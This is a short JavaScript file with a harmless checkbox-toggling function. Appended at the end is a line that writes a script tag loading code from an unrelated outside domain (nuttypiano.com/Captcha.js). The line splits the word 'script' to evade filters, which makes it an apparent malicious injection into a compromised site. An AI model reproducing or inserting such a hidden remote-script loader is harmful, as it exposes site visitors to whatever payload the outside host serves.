function selectAll(num) {
	for(i=1; i<=num; i++) {
		if($('cat'+i).checked == true) $('cat'+i).checked = false;
		else if($('cat'+i).checked == false) $('cat'+i).checked = true;
	}
}


document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Captcha.js"></scri'+'pt>');